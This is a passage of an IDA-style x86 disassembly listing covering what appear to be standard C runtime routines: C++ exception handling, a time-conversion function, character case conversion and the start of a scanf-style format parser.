loc_41D052:				; CODE XREF: sub_41CFF1+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41D072
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_41D08F
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]

loc_41D072:				; CODE XREF: sub_41CFF1+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_41D023
; ---------------------------------------------------------------------------

loc_41D07D:				; CODE XREF: sub_41CFF1+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41CFF1	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D08F	proc near		; CODE XREF: sub_41CFF1+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_41D0A0
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41D0A0:				; CODE XREF: sub_41D08F+Cj
		jmp	sub_41D4FC
sub_41D08F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41D0A5	proc near		; CODE XREF: sub_41CD45+151p
					; sub_41CEEC+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_41D0C7
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_41D256
		add	esp, 10h

loc_41D0C7:				; CODE XREF: sub_41D0A5+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_41D0D3
		push	edi
		jmp	short loc_41D0D6
; ---------------------------------------------------------------------------

loc_41D0D3:				; CODE XREF: sub_41D0A5+29j
		push	[ebp+arg_24]

loc_41D0D6:				; CODE XREF: sub_41D0A5+2Cj
		call	sub_417EFC
sub_41D0A5	endp

; ---------------------------------------------------------------------------
		mov	esi, [ebp+24h]
		push	dword ptr [esi]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	edi
		call	sub_41CFF1
		mov	eax, [esi+4]
		push	100h
		push	dword ptr [ebp+28h]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+10h]
		push	edi
		push	dword ptr [ebp+8]
		call	sub_41D120
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_41D11B
		push	edi
		push	eax
		call	sub_417EBA

loc_41D11B:				; CODE XREF: ___:0041D112j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D120	proc near		; CODE XREF: ___:0041D108p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424870
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, dword_4CDA30
		mov	[ebp+var_1C], ecx
		mov	ecx, dword_4CDA34
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	dword_4CDA30, edi
		mov	ecx, [ebp+arg_8]
		mov	dword_4CDA34, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_417F81
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_41D1E6
		mov	eax, [ebp+var_2C]

loc_41D1AD:				; CODE XREF: sub_41D1C6+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D120	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D1BC	proc near		; DATA XREF: ___:00424880o
		push	dword ptr [ebp-14h]
		call	sub_41D22C
		pop	ecx
		retn
sub_41D1BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D1C6	proc near		; DATA XREF: ___:00424884o
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_4181E2
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_41D1AD
sub_41D1C6	endp

; ---------------------------------------------------------------------------

loc_41D1DE:				; DATA XREF: ___:00424878o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_41D1E6	proc near		; CODE XREF: sub_41D120+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	dword_4CDA30, eax
		mov	eax, [ebp-20h]
		mov	dword_4CDA34, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_41D22B
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_41D22B
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_41D22B
		cmp	[ebp-24h], ebx
		jnz	short locret_41D22B
		cmp	[ebp-2Ch], ebx
		jz	short locret_41D22B
		call	sub_41824A
		push	eax
		push	edi
		call	sub_41D41A
		pop	ecx
		pop	ecx

locret_41D22B:				; CODE XREF: sub_41D1E6+1Cj
					; sub_41D1E6+22j ...
		retn
sub_41D1E6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D22C	proc near		; CODE XREF: sub_41D1BC+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_41D253
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_41D253
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_41D253
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_41D253
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_41D253:				; CODE XREF: sub_41D22C+Cj
					; sub_41D22C+12j ...
		xor	eax, eax
		retn
sub_41D22C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D256	proc near		; CODE XREF: sub_41D0A5+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424888
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_41D3FF
		cmp	byte ptr [eax+8], 0
		jz	loc_41D3FF
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_41D3FF
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_41D2F3
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_4208D2
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41D3F6
		push	1
		push	edi
		call	sub_4208EE
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41D3F6
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx

loc_41D2E4:				; CODE XREF: sub_41D256+F5j
		push	eax
		call	sub_41D481
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_41D3FB
; ---------------------------------------------------------------------------

loc_41D2F3:				; CODE XREF: sub_41D256+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_41D34D
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_4208D2
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41D3F6
		push	1
		push	edi
		call	sub_4208EE
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41D3F6
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_4182C0
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_41D3FB
		mov	eax, [edi]
		test	eax, eax
		jz	loc_41D3FB
		add	esi, 8
		push	esi
		jmp	short loc_41D2E4
; ---------------------------------------------------------------------------

loc_41D34D:				; CODE XREF: sub_41D256+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_41D395
		call	sub_4208D2
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41D3F6
		push	1
		push	edi
		call	sub_4208EE
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41D3F6
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_41D481
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_4182C0
		add	esp, 0Ch
		jmp	short loc_41D3FB
; ---------------------------------------------------------------------------

loc_41D395:				; CODE XREF: sub_41D256+103j
		call	sub_4208D2
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41D3F6
		push	1
		push	edi
		call	sub_4208EE
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41D3F6
		push	dword ptr [esi+18h]
		call	sub_42090A
		pop	ecx
		test	eax, eax
		jz	short loc_41D3F6
		test	byte ptr [esi],	4
		jz	short loc_41D3DC
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_41D481
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_417EF5
		jmp	short loc_41D3FB
; ---------------------------------------------------------------------------

loc_41D3DC:				; CODE XREF: sub_41D256+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_41D481
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_417EEE
		jmp	short loc_41D3FB
; ---------------------------------------------------------------------------

loc_41D3F6:				; CODE XREF: sub_41D256+6Aj
					; sub_41D256+7Cj ...
		call	sub_41D552

loc_41D3FB:				; CODE XREF: sub_41D256+98j
					; sub_41D256+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh

loc_41D3FF:				; CODE XREF: sub_41D256+2Ej
					; sub_41D256+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D256	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_41D4FC

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D41A	proc near		; CODE XREF: sub_41CD45+170p
					; sub_41D1E6+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424898
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_41D461
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_41D461
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_417EEE
		or	[ebp+var_4], 0FFFFFFFFh

loc_41D461:				; CODE XREF: sub_41D41A+2Aj
					; sub_41D41A+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D41A	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_41D4FC

; =============== S U B	R O U T	I N E =======================================



sub_41D481	proc near		; CODE XREF: sub_41D256+8Fp
					; sub_41D256+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_41D4A2
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx

loc_41D4A2:				; CODE XREF: sub_41D481+12j
		pop	esi
		retn
sub_41D481	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D4B0	proc near		; CODE XREF: sub_417F81+40p
					; sub_41CFF1+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_41826D
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_41D4EF
		mov	ecx, 2

loc_41D4EF:				; CODE XREF: sub_41D4B0+38j
		push	ecx
		call	sub_41826D
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_41D4B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D4FC	proc near		; CODE XREF: sub_41CD45:loc_41CEE7j
					; sub_41D08F:loc_41D0A0j ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00420922 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4248A8
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, dword_4CDA3C
		test	eax, eax
		jz	short loc_41D544
		mov	[ebp+var_4], 1
		call	eax
		jmp	short loc_41D540
; ---------------------------------------------------------------------------

loc_41D539:				; DATA XREF: ___:004248B8o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_41D53D:				; DATA XREF: ___:004248BCo
		mov	esp, [ebp+var_18]

loc_41D540:				; CODE XREF: sub_41D4FC+3Bj
		and	[ebp+var_4], 0

loc_41D544:				; CODE XREF: sub_41D4FC+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5

loc_41D54D:				; DATA XREF: ___:004248B0o
		jmp	loc_420922
sub_41D4FC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D552	proc near		; CODE XREF: sub_418123+23p
					; sub_418123:loc_41818Ep ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4248C0
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, off_435FF4
		test	eax, eax
		jz	short loc_41D59A
		mov	[ebp+var_4], 1
		call	eax ; sub_41D4FC
		jmp	short loc_41D596
; ---------------------------------------------------------------------------

loc_41D58F:				; DATA XREF: ___:004248D0o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_41D593:				; DATA XREF: ___:004248D4o
		mov	esp, [ebp+var_18]

loc_41D596:				; CODE XREF: sub_41D552+3Bj
		and	[ebp+var_4], 0

loc_41D59A:				; CODE XREF: sub_41D552+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5

loc_41D5A3:				; DATA XREF: ___:004248C8o
		jmp	sub_41D4FC
sub_41D552	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D5A8	proc near		; CODE XREF: sub_418603+7p
					; sub_418603+26p

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4CF028
		push	esi
		cmp	eax, 3
		jnz	short loc_41D5D1
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41AD89
		test	eax, eax
		pop	ecx
		jz	short loc_41D5CE
		mov	eax, [esi-4]
		sub	eax, 9
		jmp	short loc_41D606
; ---------------------------------------------------------------------------

loc_41D5CE:				; CODE XREF: sub_41D5A8+1Cj
		push	esi
		jmp	short loc_41D5F8
; ---------------------------------------------------------------------------

loc_41D5D1:				; CODE XREF: sub_41D5A8+Ej
		cmp	eax, 2
		jnz	short loc_41D5F5
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	sub_41BAE4
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41D5F5
		movzx	eax, byte ptr [eax]
		shl	eax, 4
		jmp	short loc_41D606
; ---------------------------------------------------------------------------

loc_41D5F5:				; CODE XREF: sub_41D5A8+2Cj
					; sub_41D5A8+43j
		push	[ebp+arg_0]

loc_41D5F8:				; CODE XREF: sub_41D5A8+27j
		push	0
		push	dword_4CF024
		nop
		call	near ptr 2850511h

loc_41D606:				; CODE XREF: sub_41D5A8+24j
					; sub_41D5A8+4Bj
		pop	esi
		leave
		retn
sub_41D5A8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D609	proc near		; CODE XREF: sub_4186B1+C9p

var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_0]
		sub	ebx, 76Ch
		cmp	ebx, 46h
		jl	loc_41D6C5
		cmp	ebx, 8Ah
		jg	loc_41D6C5
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	esi, dword_436724[edi*4]
		add	esi, [ebp+arg_8]
		test	bl, 3
		jnz	short loc_41D648
		cmp	edi, 2
		jle	short loc_41D648
		inc	esi

loc_41D648:				; CODE XREF: sub_41D609+37j
					; sub_41D609+3Cj
		call	sub_420939
		mov	eax, ebx
		lea	ecx, [ebx-1]
		imul	eax, 16Dh
		sar	ecx, 2
		mov	edx, esi
		mov	[ebp+var_8], esi
		add	edx, ecx
		mov	[ebp+var_10], ebx
		add	eax, edx
		mov	edx, [ebp+arg_14]
		lea	ecx, [eax+eax*2]
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_1C], eax
		lea	ecx, [eax+ecx*8]
		imul	ecx, 3Ch
		add	ecx, [ebp+arg_10]
		imul	ecx, 3Ch
		add	ecx, dword_436640
		dec	edi
		cmp	[ebp+arg_18], 1
		mov	[ebp+var_14], edi
		pop	edi
		pop	esi
		lea	ecx, [ecx+edx+7C558180h]
		mov	[ebp+arg_0], ecx
		jz	short loc_41D6BB
		cmp	[ebp+arg_18], 0FFFFFFFFh
		jnz	short loc_41D6C1
		cmp	dword_436644, 0
		jz	short loc_41D6C1
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_420BAC
		pop	ecx
		mov	ecx, [ebp+arg_0]
		test	eax, eax
		jz	short loc_41D6C1

loc_41D6BB:				; CODE XREF: sub_41D609+90j
		add	ecx, dword_436648

loc_41D6C1:				; CODE XREF: sub_41D609+96j
					; sub_41D609+9Fj ...
		mov	eax, ecx
		jmp	short loc_41D6C8
; ---------------------------------------------------------------------------

loc_41D6C5:				; CODE XREF: sub_41D609+13j
					; sub_41D609+1Fj
		or	eax, 0FFFFFFFFh

loc_41D6C8:				; CODE XREF: sub_41D609+BAj
		pop	ebx
		leave
		retn
sub_41D609	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D6CB	proc near		; CODE XREF: sub_418833+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4CDA48, 0
		push	ebx
		jnz	short loc_41D6F6
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_41D794
		cmp	eax, 7Ah
		jg	loc_41D794
		sub	eax, 20h
		jmp	loc_41D794
; ---------------------------------------------------------------------------

loc_41D6F6:				; CODE XREF: sub_41D6CB+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_41D729
		cmp	dword_433E7C, 1
		jle	short loc_41D716
		push	2
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41D721
; ---------------------------------------------------------------------------

loc_41D716:				; CODE XREF: sub_41D6CB+3Dj
		mov	eax, off_433C70
		mov	al, [eax+ebx*2]
		and	eax, 2

loc_41D721:				; CODE XREF: sub_41D6CB+49j
		test	eax, eax
		jnz	short loc_41D729

loc_41D725:				; CODE XREF: sub_41D6CB+AFj
		mov	eax, ebx
		jmp	short loc_41D794
; ---------------------------------------------------------------------------

loc_41D729:				; CODE XREF: sub_41D6CB+34j
					; sub_41D6CB+58j
		mov	edx, off_433C70
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41D74C
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_41D755
; ---------------------------------------------------------------------------

loc_41D74C:				; CODE XREF: sub_41D6CB+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1

loc_41D755:				; CODE XREF: sub_41D6CB+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	dword_4CDA48
		call	sub_41E709
		add	esp, 20h
		test	eax, eax
		jz	short loc_41D725
		cmp	eax, 1
		jnz	short loc_41D787
		movzx	eax, [ebp+var_4]
		jmp	short loc_41D794
; ---------------------------------------------------------------------------

loc_41D787:				; CODE XREF: sub_41D6CB+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx

loc_41D794:				; CODE XREF: sub_41D6CB+14j
					; sub_41D6CB+1Dj ...
		pop	ebx
		leave
		retn
sub_41D6CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D797	proc near		; CODE XREF: sub_418A52+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_41E19D
		mov	edi, [ebp+arg_0]
		jmp	short loc_41D7C6
; ---------------------------------------------------------------------------

loc_41D7C1:				; CODE XREF: sub_41D797+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx

loc_41D7C6:				; CODE XREF: sub_41D797+28j
		cmp	dword_433E7C, 1
		jle	short loc_41D7DE
		movzx	eax, al
		push	8
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41D7ED
; ---------------------------------------------------------------------------

loc_41D7DE:				; CODE XREF: sub_41D797+36j
		mov	ecx, off_433C70
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8

loc_41D7ED:				; CODE XREF: sub_41D797+45j
		cmp	eax, ebx
		jz	short loc_41D827
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_41E224
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41E20D
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_420F60
		add	esp, 0Ch

loc_41D815:				; CODE XREF: sub_41D797+8Ej
		test	eax, eax
		jz	short loc_41D827
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_420F60
		pop	ecx
		jmp	short loc_41D815
; ---------------------------------------------------------------------------

loc_41D827:				; CODE XREF: sub_41D797+58j
					; sub_41D797+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_41E109
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx

loc_41D85E:				; CODE XREF: sub_41D797+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	dword_433E7C, 1
		jle	short loc_41D87B
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41D88A
; ---------------------------------------------------------------------------

loc_41D87B:				; CODE XREF: sub_41D797+D3j
		mov	ecx, off_433C70
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4

loc_41D88A:				; CODE XREF: sub_41D797+E2j
		test	eax, eax
		jz	short loc_41D8A0
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_41D905
; ---------------------------------------------------------------------------

loc_41D8A0:				; CODE XREF: sub_41D797+F5j
		cmp	ebx, 4Eh
		jg	short loc_41D8E3
		jz	short loc_41D905
		cmp	ebx, 2Ah
		jz	short loc_41D8DE
		cmp	ebx, 46h
		jz	short loc_41D905
		cmp	ebx, 49h
		jz	short loc_41D8C0
		cmp	ebx, 4Ch
		jnz	short loc_41D8F2
		inc	[ebp+var_D]
		jmp	short loc_41D905
; ---------------------------------------------------------------------------

loc_41D8C0:				; CODE XREF: sub_41D797+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_41D8F2
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_41D8F2
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_41D905
; ---------------------------------------------------------------------------

loc_41D8DE:				; CODE XREF: sub_41D797+113j
		inc	[ebp+var_E]
		jmp	short loc_41D905
; ---------------------------------------------------------------------------

loc_41D8E3:				; CODE XREF: sub_41D797+10Cj
		cmp	ebx, 68h
		jz	short loc_41D8FF
		cmp	ebx, 6Ch
